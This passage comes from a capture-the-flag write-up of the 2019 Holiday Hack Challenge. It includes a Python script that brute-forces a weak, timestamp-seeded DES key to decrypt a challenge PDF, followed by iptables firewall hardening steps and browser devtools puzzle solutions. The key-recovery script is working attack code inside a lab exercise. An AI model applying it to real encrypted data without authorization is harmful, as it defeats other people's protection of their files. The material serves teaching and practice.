<span class="n">cipher</span> <span class="o">=</span> <span class="n">DES</span><span class="p">.</span><span class="n">new</span><span class="p">(</span><span class="nb">bytes</span><span class="p">.</span><span class="n">fromhex</span><span class="p">(</span><span class="n">key</span><span class="p">),</span> <span class="n">DES</span><span class="p">.</span><span class="n">MODE_CBC</span><span class="p">,</span> <span class="sa">b</span><span class="s">'</span><span class="se">\0</span><span class="s">'</span><span class="o">*</span><span class="mi">8</span><span class="p">)</span>
<span class="n">infile</span> <span class="o">=</span> <span class="nb">open</span><span class="p">(</span><span class="n">in_file</span><span class="p">,</span> <span class="s">'rb'</span><span class="p">)</span>
<span class="n">data</span> <span class="o">=</span> <span class="n">infile</span><span class="p">.</span><span class="n">read</span><span class="p">()</span>
<span class="n">outfile</span> <span class="o">=</span> <span class="nb">open</span><span class="p">(</span><span class="n">out_file</span><span class="p">,</span> <span class="s">'wb'</span><span class="p">)</span>
<span class="k">print</span><span class="p">(</span><span class="s">"Decrypting File..."</span><span class="p">)</span>
<span class="n">outfile</span><span class="p">.</span><span class="n">write</span><span class="p">(</span><span class="n">cipher</span><span class="p">.</span><span class="n">decrypt</span><span class="p">(</span><span class="n">data</span><span class="p">))</span>
<span class="k">print</span><span class="p">(</span><span class="s">"File Saved As: "</span> <span class="o">+</span> <span class="n">out_file</span><span class="p">)</span>
<span class="k">print</span><span class="p">(</span><span class="s">"DES CBC Elfscrow Decryptor"</span><span class="p">)</span>
<span class="k">print</span><span class="p">(</span><span class="s">"==========================="</span><span class="p">)</span>
<span class="n">infile</span> <span class="o">=</span> <span class="nb">input</span><span class="p">(</span><span class="s">"Enter Encrypted File Name: "</span><span class="p">)</span>
<span class="n">outfile</span> <span class="o">=</span> <span class="nb">input</span><span class="p">(</span><span class="s">"Enter Decrypted File Name: "</span><span class="p">)</span>
<span class="n">seed</span> <span class="o">=</span> <span class="nb">input</span><span class="p">(</span><span class="s">"Enter Seed: "</span><span class="p">)</span>
<span class="n">key</span> <span class="o">=</span> <span class="n">generate_key</span><span class="p">(</span><span class="n">seed</span><span class="p">)</span>
<span class="k">print</span><span class="p">(</span><span class="s">"Expexted Key: ce0b990b93d431a6"</span><span class="p">)</span>
<span class="k">print</span><span class="p">(</span><span class="s">"Generated Key: "</span> <span class="o">+</span> <span class="n">key</span><span class="p">)</span>
<span class="n">decrypt</span><span class="p">(</span><span class="n">key</span><span class="p">,</span> <span class="n">infile</span><span class="p">,</span> <span class="n">outfile</span><span class="p">)</span>
</code></pre></div></div>
<p>Alright, once updated let’s see if this works! If all goes well, whatever we save the decrypted file to should read “This is a test!”. Let’s give it a shot!</p>
<div class="language-console highlighter-rouge"><div class="highlight"><pre class="highlight"><code><span class="gp">root@kali:~/HH/elfscrow_crypto#</span><span class="w"> </span>python3 decrypt.py
<span class="go">DES CBC Elfscrow Decryptor
===========================
Enter Encrypted File Name: test.txt.enc
Enter Decrypted File Name: test_decode.txt
Enter Seed: 1578097585
Expexted Key: 6532547fb69b4569
Generated Key: 6532547fb69b4569
Decrypting File...
File Saved As: test_decode.txt
</span><span class="gp">root@kali:~/HH/elfscrow_crypto#</span><span class="w"> </span><span class="nb">cat </span>test_decode.txt
<span class="go">This is a test!
</span></code></pre></div></div>
<p>It works! Yes! All that’s left for us to do is to attempt decrypting the PDF document. We know that the document was encrypted on December 6, 2019, between 7pm and 9pm UTC. Knowing that, let’s generate the linux time between those time frames so we can use them in our seed.</p>
<p align="center"><a href="/images/hh19-172.png"><img src="/images/hh19-172.png" /></a></p>
<p align="center"><a href="/images/hh19-172-2.png"><img src="/images/hh19-172-2.png" /></a></p>
<p>Alright, we need to generate keys by using a see from 1575658800 to 1575666000. It should be pretty simple!</p>
<p>Just one problem! How will we know if the PDF decrypts successfully? If we try to decrypt the data with a bad key, all we will get is junk.</p>
<p>Don’t fear, I already thought of that! 😊</p>
<p>We can use a python package called <a href="https://pypi.org/project/filetype/">filetype</a> which will be used to infer the file type and MIME type by checking the <a href="https://en.wikipedia.org/wiki/Magic_number_(programming)">magic numbers</a> signature of a file or buffer. After each decryption, we will save the file and check the magic bytes.</p>
<p>If the magic bytes are that of a PDF type, then we know the decryption was successful and we can stop the decryption process.</p>
<p>With that, let’s update our python script for the final run! The script should look like so:</p>
<div class="language-python highlighter-rouge"><div class="highlight"><pre class="highlight"><code><span class="kn">from</span> <span class="nn">Crypto.Cipher</span> <span class="kn">import</span> <span class="n">DES</span>
<span class="kn">import</span> <span class="nn">filetype</span>
<span class="kn">import</span> <span class="nn">sys</span>
<span class="k">def</span> <span class="nf">generate_key</span><span class="p">(</span><span class="n">seed</span><span class="p">):</span>
<span class="n">x</span> <span class="o">=</span> <span class="mi">0</span>
<span class="n">key</span> <span class="o">=</span> <span class="s">""</span>
<span class="n">org_seed</span> <span class="o">=</span> <span class="n">seed</span>
<span class="k">while</span> <span class="p">(</span><span class="n">x</span> <span class="o"><</span> <span class="mi">8</span><span class="p">):</span>
<span class="n">org_seed</span> <span class="o">=</span> <span class="p">(</span><span class="mi">214013</span><span class="o">*</span><span class="n">seed</span> <span class="o">+</span> <span class="mi">2531011</span><span class="p">)</span>
<span class="n">seed</span> <span class="o">=</span> <span class="p">(</span><span class="mi">214013</span><span class="o">*</span><span class="n">seed</span> <span class="o">+</span> <span class="mi">2531011</span><span class="p">)</span> <span class="o">&</span> <span class="mh">0x7fffffff</span>
<span class="n">seed</span> <span class="o">=</span> <span class="n">seed</span> <span class="o">>></span> <span class="mi">16</span>
<span class="n">lsb</span> <span class="o">=</span> <span class="nb">hex</span><span class="p">(</span><span class="n">seed</span> <span class="o">&</span> <span class="mh">0xFF</span><span class="p">)[</span><span class="mi">2</span><span class="p">:]</span>
<span class="k">if</span> <span class="p">(</span><span class="nb">len</span><span class="p">(</span><span class="n">lsb</span><span class="p">)</span> <span class="o"><</span> <span class="mi">2</span><span class="p">):</span>
<span class="n">lsb</span> <span class="o">=</span> <span class="n">lsb</span><span class="p">.</span><span class="n">zfill</span><span class="p">(</span><span class="mi">2</span><span class="p">)</span>
<span class="n">key</span> <span class="o">+=</span> <span class="n">lsb</span>
<span class="n">seed</span> <span class="o">=</span> <span class="n">org_seed</span>
<span class="n">x</span> <span class="o">+=</span> <span class="mi">1</span>
<span class="k">return</span> <span class="n">key</span>
<span class="k">def</span> <span class="nf">decrypt</span><span class="p">(</span><span class="n">key</span><span class="p">,</span> <span class="n">in_file</span><span class="p">,</span> <span class="n">out_file</span><span class="p">):</span>
<span class="n">cipher</span> <span class="o">=</span> <span class="n">DES</span><span class="p">.</span><span class="n">new</span><span class="p">(</span><span class="nb">bytes</span><span class="p">.</span><span class="n">fromhex</span><span class="p">(</span><span class="n">key</span><span class="p">),</span> <span class="n">DES</span><span class="p">.</span><span class="n">MODE_CBC</span><span class="p">,</span> <span class="sa">b</span><span class="s">'</span><span class="se">\0</span><span class="s">'</span><span class="o">*</span><span class="mi">8</span><span class="p">)</span>
<span class="n">infile</span> <span class="o">=</span> <span class="nb">open</span><span class="p">(</span><span class="n">in_file</span><span class="p">,</span> <span class="s">'rb'</span><span class="p">)</span>
<span class="n">data</span> <span class="o">=</span> <span class="n">infile</span><span class="p">.</span><span class="n">read</span><span class="p">()</span>
<span class="n">outfile</span> <span class="o">=</span> <span class="nb">open</span><span class="p">(</span><span class="n">out_file</span><span class="p">,</span> <span class="s">'wb'</span><span class="p">)</span>
<span class="k">print</span><span class="p">(</span><span class="s">"[-] Decrypting File with Key: "</span> <span class="o">+</span> <span class="n">key</span><span class="p">)</span>
<span class="n">outfile</span><span class="p">.</span><span class="n">write</span><span class="p">(</span><span class="n">cipher</span><span class="p">.</span><span class="n">decrypt</span><span class="p">(</span><span class="n">data</span><span class="p">))</span>
<span class="n">kind</span> <span class="o">=</span> <span class="n">filetype</span><span class="p">.</span><span class="n">guess</span><span class="p">(</span><span class="n">out_file</span><span class="p">)</span>
<span class="k">if</span> <span class="p">(</span><span class="n">kind</span> <span class="ow">is</span> <span class="bp">None</span><span class="p">):</span>
<span class="k">print</span><span class="p">(</span><span class="s">"[X] Decryption Failed!"</span><span class="p">)</span>
<span class="k">return</span>
<span class="k">elif</span> <span class="p">(</span><span class="n">kind</span><span class="p">.</span><span class="n">mime</span> <span class="o">==</span> <span class="s">"application/pdf"</span><span class="p">):</span>
<span class="k">print</span><span class="p">(</span><span class="s">"[!] Decryption Successful!"</span><span class="p">)</span>
<span class="k">print</span><span class="p">(</span><span class="s">"File Saved As: "</span> <span class="o">+</span> <span class="n">out_file</span><span class="p">)</span>
<span class="n">sys</span><span class="p">.</span><span class="nb">exit</span><span class="p">()</span>
<span class="k">else</span><span class="p">:</span>
<span class="k">print</span><span class="p">(</span><span class="s">"[X] Decryption Failed!"</span><span class="p">)</span>
<span class="k">return</span>
<span class="k">print</span><span class="p">(</span><span class="s">"DES CBC Elfscrow Decryptor"</span><span class="p">)</span>
<span class="k">print</span><span class="p">(</span><span class="s">"==========================="</span><span class="p">)</span>
<span class="k">for</span> <span class="n">x</span> <span class="ow">in</span> <span class="nb">range</span><span class="p">(</span><span class="mi">1575658800</span><span class="p">,</span> <span class="mi">1575666000</span><span class="p">):</span>
<span class="n">seed</span> <span class="o">=</span> <span class="n">x</span>
<span class="n">key</span> <span class="o">=</span> <span class="n">generate_key</span><span class="p">(</span><span class="n">seed</span><span class="p">)</span>
<span class="n">decrypt</span><span class="p">(</span><span class="n">key</span><span class="p">,</span> <span class="s">"ElfUResearchLabsSuperSledOMaticQuickStartGuideV1.2.pdf.enc"</span><span class="p">,</span> <span class="s">"DecryptedElfUResearch.pdf"</span><span class="p">)</span>
</code></pre></div></div>
<p>Alright, the moment for truth! Let’s kick this off and hope that all our hard work payed off!</p>
<div class="language-console highlighter-rouge"><div class="highlight"><pre class="highlight"><code><span class="gp">root@kali:~/HH/elfscrow_crypto#</span><span class="w"> </span>python3 decrypt.py
<span class="go">DES CBC Elfscrow Decryptor
===========================
[-] Decrypting File with Key: d7c21b323c209f0f
[X] Decryption Failed!
[-] Decrypting File with Key: dabfe3318676c8a0
[X] Decryption Failed!
[-] Decrypting File with Key: b2b1a232c7e9d25b
[X] Decryption Failed!
---snip---
[-] Decrypting File with Key: b5ad6a321240fbec
[!] Decryption Successful!
File Saved As: DecryptedElfUResearch.pdf
</span></code></pre></div></div>
<p>After some time, we can see that decryption was successful! Navigating to the <strong>DecryptedElfUResearch.pdf</strong> document and opening it up, we see that decryption was successful and we can read the document!</p>
<p align="center"><a href="/images/hh19-173.png"><img src="/images/hh19-173.png" /></a></p>
<p>Now that we have the decyrpted document, we can read the middle line on the cover page. From here, we can navigate to the tenth objective in our badge and enter “<strong>Machine Learning Sleigh Route Finder</strong>” to complete the objective.</p>
<p align="center"><a href="/images/hh19-174.png"><img src="/images/hh19-174.png" /></a></p>
<h2 id="objective-11">Objective 11</h2>
<h3 id="smart-braces---cranpi">Smart Braces - CranPi</h3>
<p>From Holly in the NetWars room, we go back out to the Quad, and go north into the Student Union where we meet Kent Tinseltooth.</p>
<p align="center"><a href="/images/hh19-175.png"><img src="/images/hh19-175.png" /></a></p>
<p>Upon talking with Kent, we learn that someone might have hacked Kent’s IoT Smart Braces (really…) and is using that to talk to him.</p>
<p align="center"><a href="/images/hh19-176.png"><img src="/images/hh19-176.png" /></a></p>
<p>Well Kent says that he wants us to take a look at the Smart Braces terminal, so let’s help this poor guy out before he loses his mind.</p>
<p>Upon accessing the CranPi terminal, we are presented with the following:</p>
<div class="language-console highlighter-rouge"><div class="highlight"><pre class="highlight"><code><span class="go">Inner Voice: Kent. Kent. Wake up, Kent.
Inner Voice: I'm talking to you, Kent.
Kent TinselTooth: Who said that? I must be going insane.
Kent TinselTooth: Am I?
Inner Voice: That remains to be seen, Kent. But we are having a conversation.
Inner Voice: This is Santa, Kent, and you've been a very naughty boy.
Kent TinselTooth: Alright! Who is this?! Holly? Minty? Alabaster?
Inner Voice: I am known by many names. I am the boss of the North Pole. Turn to me and be hired after graduation.
Kent TinselTooth: Oh, sure.
Inner Voice: Cut the candy, Kent, you've built an automated, machine-learning, sleigh device.
Kent TinselTooth: How did you know that?
Inner Voice: I'm Santa - I know everything.
Kent TinselTooth: Oh. Kringle. *sigh*
Inner Voice: That's right, Kent. Where is the sleigh device now?
Kent TinselTooth: I can't tell you.
Inner Voice: How would you like to intern for the rest of time?
Kent TinselTooth: Please no, they're testing it at srf.elfu.org using default creds, but I don't know more. It's classified.
Inner Voice: Very good Kent, that's all I needed to know.
Kent TinselTooth: I thought you knew everything?
Inner Voice: Nevermind that. I want you to think about what you've researched and studied. From now on, stop playing with your teeth, and floss more.
*Inner Voice Goes Silent*
Kent TinselTooth: Oh no, I sure hope that voice was Santa's.
Kent TinselTooth: I suspect someone may have hacked into my IOT teeth braces.
Kent TinselTooth: I must have forgotten to configure the firewall...
Kent TinselTooth: Please review /home/elfuuser/IOTteethBraces.md and help me configure the firewall.
</span><span class="gp">Kent TinselTooth: Please hurry;</span><span class="w"> </span>having this ribbon cable on my teeth is uncomfortable.
<span class="gp">elfuuser@d4664263e075:~$</span><span class="w">
</span></code></pre></div></div>
<p>Something’s not right, the “inner voice” must be the hacker… and it’s definitely not Santa! Kent said that we need to help configure the firewall on the braces. He also provided us a file to review for the firewall configuration which is located in <code class="language-plaintext highlighter-rouge">/home/elfuuser/IOTteethBraces.md</code>.</p>
<p>So let’s see what that contains.</p>
<div class="language-console highlighter-rouge"><div class="highlight"><pre class="highlight"><code><span class="gp">elfuuser@d4664263e075:~$</span><span class="w"> </span><span class="nb">ls</span>
<span class="go">IOTteethBraces.md
</span><span class="gp">elfuuser@d4664263e075:~$</span><span class="w"> </span><span class="nb">cat </span>IOTteethBraces.md
<span class="gp">#</span><span class="w"> </span>ElfU Research Labs - Smart Braces
<span class="gp">#</span><span class="c">## A Lightweight Linux Device for Teeth Braces</span>
<span class="gp">#</span><span class="c">## Imagined and Created by ElfU Student Kent TinselTooth</span>
<span class="go">
This device is embedded into one's teeth braces for easy management and monitoring of dental status. It uses FTP and HTTP for management and monitoring purposes but also has SSH for remote access. Please refer to the management documentation for this purpose.
</span><span class="gp">#</span><span class="c"># Proper Firewall configuration:</span>
<span class="go">
The firewall used for this system is `iptables`. The following is an example of how to set a default policy with using `iptables`:
___
sudo iptables -P FORWARD DROP
___
The following is an example of allowing traffic from a specific IP and to a specific port:
___
sudo iptables -A INPUT -p tcp --dport 25 -s 172.18.5.4 -j ACCEPT
___
A proper configuration for the Smart Braces should be exactly:
1. Set the default policies to DROP for the INPUT, FORWARD, and OUTPUT chains.
2. Create a rule to ACCEPT all connections that are ESTABLISHED,RELATED on the INPUT and the OUTPUT chains.
3. Create a rule to ACCEPT only remote source IP address 172.19.0.225 to access the local SSH server (on port 22).
4. Create a rule to ACCEPT any source IP to the local TCP services on ports 21 and 80.
5. Create a rule to ACCEPT all OUTPUT traffic with a destination TCP port of 80.
6. Create a rule applied to the INPUT chain to ACCEPT all traffic from the lo interface.
</span></code></pre></div></div>
<p>After reading the provided document, we learn that we need to configure <a href="https://upcloud.com/community/tutorials/configure-iptables-centos/">Iptables</a> rules for the braces. We also learn that there is a proper configuration for the smart braces which contains exactly 6 rules.</p>
<p>Alright, so let’s start with the first rule:</p>
<ol>
<li><strong>Set the default policies to DROP for the INPUT, FORWARD, and OUTPUT chains.</strong></li>
</ol>
<p>In iptables, rules are predefined into chains (INPUT, OUTPUT and FORWARD). These chains are checked against any network traffic relevant to those chains and a decision is made about what to do with each packet based upon the outcome of those rules. These actions are referred to as targets, of which the two most common predefined targets are DROP to drop a packet or ACCEPT to accept a packet.</p>
<p>These are 3 predefined chains in the filter table to which we can add rules for processing IP packets passing through those chains. These chains are:</p>
<ul>
<li><strong>INPUT</strong> - All packets destined for the host computer.</li>
<li><strong>OUTPUT</strong> - All packets originating from the host computer.</li>
<li><strong>FORWARD</strong> - All packets neither destined for nor originating from the host computer, but passing through (routed by) the host computer. This chain is used if you are using your computer as a router.</li>
</ul>
<p>Knowing this, we now need to set default policies for these chains, and have them <strong>DROP</strong> all traffic by default if it won’t match a specific rule set that we will give it.</p>
<p>We can do this by passing iptables the <code class="language-plaintext highlighter-rouge">-P</code> or <code class="language-plaintext highlighter-rouge">--policy</code> option, which will set the policy for the chain to the given target. If you’re confused on all of this then I suggest you read the <a href="https://linux.die.net/man/8/iptables">iptables man page</a> as well as the <a href="https://wiki.centos.org/HowTos/Network/IPTables">iptables how-to</a>.</p>
<p>The commands for these settings will look like so.</p>
<div class="language-console highlighter-rouge"><div class="highlight"><pre class="highlight"><code><span class="gp">elfuuser@d4664263e075:~$</span><span class="w"> </span><span class="nb">sudo </span>iptables <span class="nt">-P</span> INPUT DROP
<span class="gp">elfuuser@d4664263e075:~$</span><span class="w"> </span><span class="nb">sudo </span>iptables <span class="nt">-P</span> FORWARD DROP
<span class="gp">elfuuser@d4664263e075:~$</span><span class="w"> </span><span class="nb">sudo </span>iptables <span class="nt">-P</span> OUTPUT DROP
</code></pre></div></div>
<p>Once that’s done, we can pass the <code class="language-plaintext highlighter-rouge">-L</code> option in iptables to list all the current rules and check if our changes were made.</p>
<div class="language-console highlighter-rouge"><div class="highlight"><pre class="highlight"><code><span class="gp">elfuuser@d4664263e075:~$</span><span class="w"> </span><span class="nb">sudo </span>iptables <span class="nt">-L</span>
<span class="go">Chain INPUT (policy DROP)
target prot opt source destination
Chain FORWARD (policy DROP)
target prot opt source destination
Chain OUTPUT (policy DROP)
target prot opt source destination
</span></code></pre></div></div>
<p>Great, we now have our default policy set properly. Let’s move onto the next rule.</p>
<ol>
<li><strong>Create a rule to ACCEPT all connections that are ESTABLISHED,RELATED on the INPUT and the OUTPUT chains.</strong></li>
</ol>
<p>For this rule set we are configuring something called the state. The state module is able to examine the state of a packet and determine if it is NEW, ESTABLISHED or RELATED.</p>
<ul>
<li><strong>NEW</strong> - Refers to incoming packets that are new incoming connections that weren’t initiated by the host system.</li>
<li><strong>ESTABLISHED</strong> and <strong>RELATED</strong> - Refers to incoming packets that are part of an already established connection or related to an already established connection by the user. Such as opening a web browser and going to Google.</li>
</ul>
<p>Specifically, for this we have to configure these state modules to <strong>ALLOW</strong> traffic. We can specify a module in iptables with the <code class="language-plaintext highlighter-rouge">-m</code> option, followed by the module name. In this case we will be using the <strong>conntrack</strong> module, which is short for connection tracking.</p>
<p>With this module we can pass the <code class="language-plaintext highlighter-rouge">--ctstate</code> option followed by the comma separated connection states we want to modify. And finally we will pass the <code class="language-plaintext highlighter-rouge">-j</code> option followed by the target rule (accept or drop).</p>
<p>The commands for this should look like so:</p>
<div class="language-console highlighter-rouge"><div class="highlight"><pre class="highlight"><code><span class="gp">elfuuser@d4664263e075:~$</span><span class="w"> </span><span class="nb">sudo </span>iptables <span class="nt">-A</span> INPUT <span class="nt">-m</span> conntrack <span class="nt">--ctstate</span> ESTABLISHED,RELATED <span class="nt">-j</span> ACCEPT
<span class="gp">elfuuser@d4664263e075:~$</span><span class="w"> </span><span class="nb">sudo </span>iptables <span class="nt">-A</span> OUTPUT <span class="nt">-m</span> conntrack <span class="nt">--ctstate</span> ESTABLISHED,RELATED <span class="nt">-j</span> ACCEPT
</code></pre></div></div>
<p>Once again, we can pass the <code class="language-plaintext highlighter-rouge">-L</code> option in iptables to list all the current rules and check if our changes were made.</p>
<div class="language-console highlighter-rouge"><div class="highlight"><pre class="highlight"><code><span class="gp">elfuuser@d4664263e075:~$</span><span class="w"> </span><span class="nb">sudo </span>iptables <span class="nt">-L</span>
<span class="go">Chain INPUT (policy DROP)
target prot opt source destination
ACCEPT all -- anywhere anywhere ctstate RELATED,ESTABLISHED
Chain FORWARD (policy DROP)
target prot opt source destination
Chain OUTPUT (policy DROP)
target prot opt source destination
ACCEPT all -- anywhere anywhere ctstate RELATED,ESTABLISHED
</span></code></pre></div></div>
<p>Good job! We can now move onto the third rule.</p>
<ol>
<li><strong>Create a rule to ACCEPT only remote source IP address 172.19.0.225 to access the local SSH server (on port 22).</strong></li>
</ol>
<p>For this one, we need to create a new <strong>INPUT</strong> rule that will accept <strong>NEW</strong> connections from the IP of <strong>172.19.0.225</strong> and allow it to access the SSH server on port 22, all other connections need to be dropped.</p>
<p>In iptables, to specify an ip source, we can pass the <code class="language-plaintext highlighter-rouge">-s</code> option followed by the IP. For destination ports, we can pass the <code class="language-plaintext highlighter-rouge">--dport</code> option followed by the port.</p>
<p>Knowing this, we can go ahead and create a rule that should look like the following:</p>
<div class="language-console highlighter-rouge"><div class="highlight"><pre class="highlight"><code><span class="gp">elfuuser@d4664263e075:~$</span><span class="w"> </span><span class="nb">sudo </span>iptables <span class="nt">-A</span> INPUT <span class="nt">-p</span> tcp <span class="nt">-s</span> 172.19.0.225 <span class="nt">--dport</span> 22 <span class="nt">-m</span> conntrack <span class="nt">--ctstate</span> NEW <span class="nt">-j</span> ACCEPT
</code></pre></div></div>
<p>Once done, let’s check if it’s correct.</p>
<div class="language-console highlighter-rouge"><div class="highlight"><pre class="highlight"><code><span class="gp">elfuuser@d4664263e075:~$</span><span class="w"> </span><span class="nb">sudo </span>iptables <span class="nt">-L</span>
<span class="go">Chain INPUT (policy DROP)
target prot opt source destination
ACCEPT all -- anywhere anywhere ctstate RELATED,ESTABLISHED
ACCEPT tcp -- 172.19.0.225 anywhere tcp dpt:22 ctstate NEW
Chain FORWARD (policy DROP)
target prot opt source destination
Chain OUTPUT (policy DROP)
target prot opt source destination
ACCEPT all -- anywhere anywhere ctstate RELATED,ESTABLISHED
</span></code></pre></div></div>
<p>Nice, we got the proper rule in! Next one!</p>
<ol>
<li><strong>Create a rule to ACCEPT any source IP to the local TCP services on ports 21 and 80.</strong></li>
</ol>
<p>For this one, we need to create a rule that will <strong>ACCEPT</strong> any traffic to the local services on port 21 and 80.</p>
<p>We can pretty much reuse the previous rule and modify it a little bit. The newly created rules should look like the following:</p>
<div class="language-console highlighter-rouge"><div class="highlight"><pre class="highlight"><code><span class="gp">elfuuser@d4664263e075:~$</span><span class="w"> </span><span class="nb">sudo </span>iptables <span class="nt">-A</span> INPUT <span class="nt">-p</span> tcp <span class="nt">--dport</span> 21 <span class="nt">-m</span> conntrack <span class="nt">--ctstate</span> NEW <span class="nt">-j</span> ACCEPT
<span class="gp">elfuuser@d4664263e075:~$</span><span class="w"> </span><span class="nb">sudo </span>iptables <span class="nt">-A</span> INPUT <span class="nt">-p</span> tcp <span class="nt">--dport</span> 80 <span class="nt">-m</span> conntrack <span class="nt">--ctstate</span> NEW <span class="nt">-j</span> ACCEPT
<span class="gp">elfuuser@d4664263e075:~$</span><span class="w"> </span><span class="nb">sudo </span>iptables <span class="nt">-L</span>
<span class="go">Chain INPUT (policy DROP)
target prot opt source destination
ACCEPT all -- anywhere anywhere ctstate RELATED,ESTABLISHED
ACCEPT tcp -- 172.19.0.225 anywhere tcp dpt:22 ctstate NEW
ACCEPT tcp -- anywhere anywhere tcp dpt:21 ctstate NEW
ACCEPT tcp -- anywhere anywhere tcp dpt:80 ctstate NEW
Chain FORWARD (policy DROP)
target prot opt source destination
Chain OUTPUT (policy DROP)
target prot opt source destination
ACCEPT all -- anywhere anywhere ctstate RELATED,ESTABLISHED
</span></code></pre></div></div>
<p>And that one is done! Onto the next one.</p>
<ol>
<li><strong>Create a rule to ACCEPT all OUTPUT traffic with a destination TCP port of 80.</strong></li>
</ol>
<p>For this one, we need to create a rule that will allow all <strong>OUTPUT</strong> traffic going from the braces out to the internet on port 80.</p>
<p>Simple enough. The command for this one should look like so:</p>
<div class="language-console highlighter-rouge"><div class="highlight"><pre class="highlight"><code><span class="gp">elfuuser@d4664263e075:~$</span><span class="w"> </span><span class="nb">sudo </span>iptables <span class="nt">-A</span> OUTPUT <span class="nt">-p</span> tcp <span class="nt">--dport</span> 80 <span class="nt">-m</span> conntrack <span class="nt">--ctstate</span> NEW <span class="nt">-j</span> ACCEPT
<span class="gp">elfuuser@d4664263e075:~$</span><span class="w"> </span><span class="nb">sudo </span>iptables <span class="nt">-L</span>
<span class="go">Chain INPUT (policy DROP)
target prot opt source destination
ACCEPT all -- anywhere anywhere ctstate RELATED,ESTABLISHED
ACCEPT tcp -- 172.19.0.225 anywhere tcp dpt:22 ctstate NEW
ACCEPT tcp -- anywhere anywhere tcp dpt:21 ctstate NEW
ACCEPT tcp -- anywhere anywhere tcp dpt:80 ctstate NEW
Chain FORWARD (policy DROP)
target prot opt source destination
Chain OUTPUT (policy DROP)
target prot opt source destination
ACCEPT all -- anywhere anywhere ctstate RELATED,ESTABLISHED
ACCEPT tcp -- anywhere anywhere tcp dpt:80 ctstate NEW
</span></code></pre></div></div>
<p>And there we have it! Onto the final rule!</p>
<ol>
<li><strong>Create a rule applied to the INPUT chain to ACCEPT all traffic from the lo interface.</strong></li>
</ol>
<p>For this one, we need to create a rule that will <strong>ACCEPT</strong> all <strong>INPUT</strong> traffic that is coming from the local interface of the computer. In iptables, we can specify interfaces by passing in the <code class="language-plaintext highlighter-rouge">-i</code> option followed by the interface name.</p>
<p>This command is also pretty easy and will look like so:</p>
<div class="language-console highlighter-rouge"><div class="highlight"><pre class="highlight"><code><span class="gp">elfuuser@d4664263e075:~$</span><span class="w"> </span><span class="nb">sudo </span>iptables <span class="nt">-A</span> INPUT <span class="nt">-i</span> lo <span class="nt">-j</span> ACCEPT
<span class="gp">elfuuser@d4664263e075:~$</span><span class="w"> </span><span class="nb">sudo </span>iptables <span class="nt">-L</span>
<span class="go">Chain INPUT (policy DROP)
target prot opt source destination
ACCEPT all -- anywhere anywhere ctstate RELATED,ESTABLISHED
ACCEPT tcp -- 172.19.0.225 anywhere tcp dpt:22 ctstate NEW
ACCEPT tcp -- anywhere anywhere tcp dpt:21 ctstate NEW
ACCEPT tcp -- anywhere anywhere tcp dpt:80 ctstate NEW
ACCEPT all -- anywhere anywhere
Chain FORWARD (policy DROP)
target prot opt source destination
Chain OUTPUT (policy DROP)
target prot opt source destination
ACCEPT all -- anywhere anywhere ctstate RELATED,ESTABLISHED
ACCEPT tcp -- anywhere anywhere tcp dpt:80 ctstate NEW
</span></code></pre></div></div>
<p>Once that’s completed, just wait a few seconds and the challenge should be completed!</p>
<div class="language-console highlighter-rouge"><div class="highlight"><pre class="highlight"><code><span class="gp">elfuuser@d4664263e075:~$</span><span class="w">
</span><span class="go">Kent TinselTooth: Great, you hardened my IOT Smart Braces firewall!
</span></code></pre></div></div>
<h3 id="open-the-sleigh-shop-door">Open the Sleigh Shop Door</h3>
<p>Upon successfully completing the Smart Braces CranPI, we can talk to Kent again for more hints that will allow us to complete the next objective.</p>
<p align="center"><a href="/images/hh19-177.png"><img src="/images/hh19-177.png" /></a></p>
<p>For this challenge we need to open the Sleigh Shop door, as well as help Shinny Upatree solve a problem.</p>
<p>If we go to the Sleigh Shop door, we notice a crate and a locked door.</p>
<p align="center"><a href="/images/hh19-178.png"><img src="/images/hh19-178.png" /></a></p>
<p>Kent mentioned something about a crate and it having some sort of locks. He mentioned something about using our browser and the <a href="https://developers.google.com/web/tools/chrome-devtools">Chrome Dev Tools</a>.</p>
<p>Well, let’s see what’s in this create before we start making assumption. Upon clicking the crate, we are taken to a new browser with the following screen.</p>
<p align="center"><a href="/images/hh19-178-2.png"><img src="/images/hh19-178-2.png" /></a></p>
<p>From the initial start we see that the create contains the villains name inside, possibly the one behind hacking ElfU! There also seems to be some sort of lock on there with a riddle. Something about a console and scroll a little?</p>
<p>Well if we remember correctly, Kent told us that we can probably use our developer console. So, let’s press <code class="language-plaintext highlighter-rouge">F12</code> to open the developer console up, navigate to the <code class="language-plaintext highlighter-rouge">Console</code> tab, and scroll up.</p>
<p align="center"><a href="/images/hh19-178-3.png"><img src="/images/hh19-178-3.png" /></a></p>
<p>Cool we found a code! Entering that code unlock the lock for us.</p>
<p>Scrolling down to the second one and continuing to use our developer console. We can inspect the elements to find our second code.</p>
<p align="center"><a href="/images/hh19-179.png"><img src="/images/hh19-179.png" /></a></p>
<p>The third lock mentions something about the code being “fetched”. I would assume that that means network. Let’s jump over to our <code class="language-plaintext highlighter-rouge">Network</code> tab, and we will see an image with the code needed to unlock the lock.</p>
<p align="center"><a href="/images/hh19-180.png"><img src="/images/hh19-180.png" /></a></p>
<p>The forth lock hints us about <a href="https://www.geeksforgeeks.org/global-and-local-variables-in-javascript/">local variables</a>. These variables are usually stored by JavaScript and contained in something called the <a href="https://developer.mozilla.org/en-US/docs/Web/API/Window/localStorage">localStorage</a>.</p>
<p>Navigating to our <code class="language-plaintext highlighter-rouge">Console</code> tab, we can type <code class="language-plaintext highlighter-rouge">localStorage</code> and we will see our code!</p>
<p align="center"><a href="/images/hh19-181.png"><img src="/images/hh19-181.png" /></a></p>
<p>The fifth lock asks us if we noticed something in the title. So if we use our <code class="language-plaintext highlighter-rouge">Elements</code> tab and scroll up to the <code class="language-plaintext highlighter-rouge"><head></code> and <code class="language-plaintext highlighter-rouge"><title></code> element, we will see our code at the end.</p>
<p align="center"><a href="/images/hh19-182.png"><img src="/images/hh19-182.png" /></a></p>
<p>The sixth lock tells us that that in order for the hologram to be effective, we need to increase the <a href="https://developer.mozilla.org/en-US/docs/Web/CSS/perspective">perspective</a>. In the case of web applications, the perspective is a <a href="https://developer.mozilla.org/en-US/docs/Web/CSS">CSS</a> property determines the distance between the z=0 plane and the user in order to give a 3D-positioned element some perspective.</p>
<p>So, using our <code class="language-plaintext highlighter-rouge">Elements</code> tab again, if we click on the <code class="language-plaintext highlighter-rouge">hologram</code> class, we will be able to see the CSS information on the right-hand side. Simply, disable perspective, and we should see our code.</p>
<p align="center"><a href="/images/hh19-183.png"><img src="/images/hh19-183.png" /></a></p>
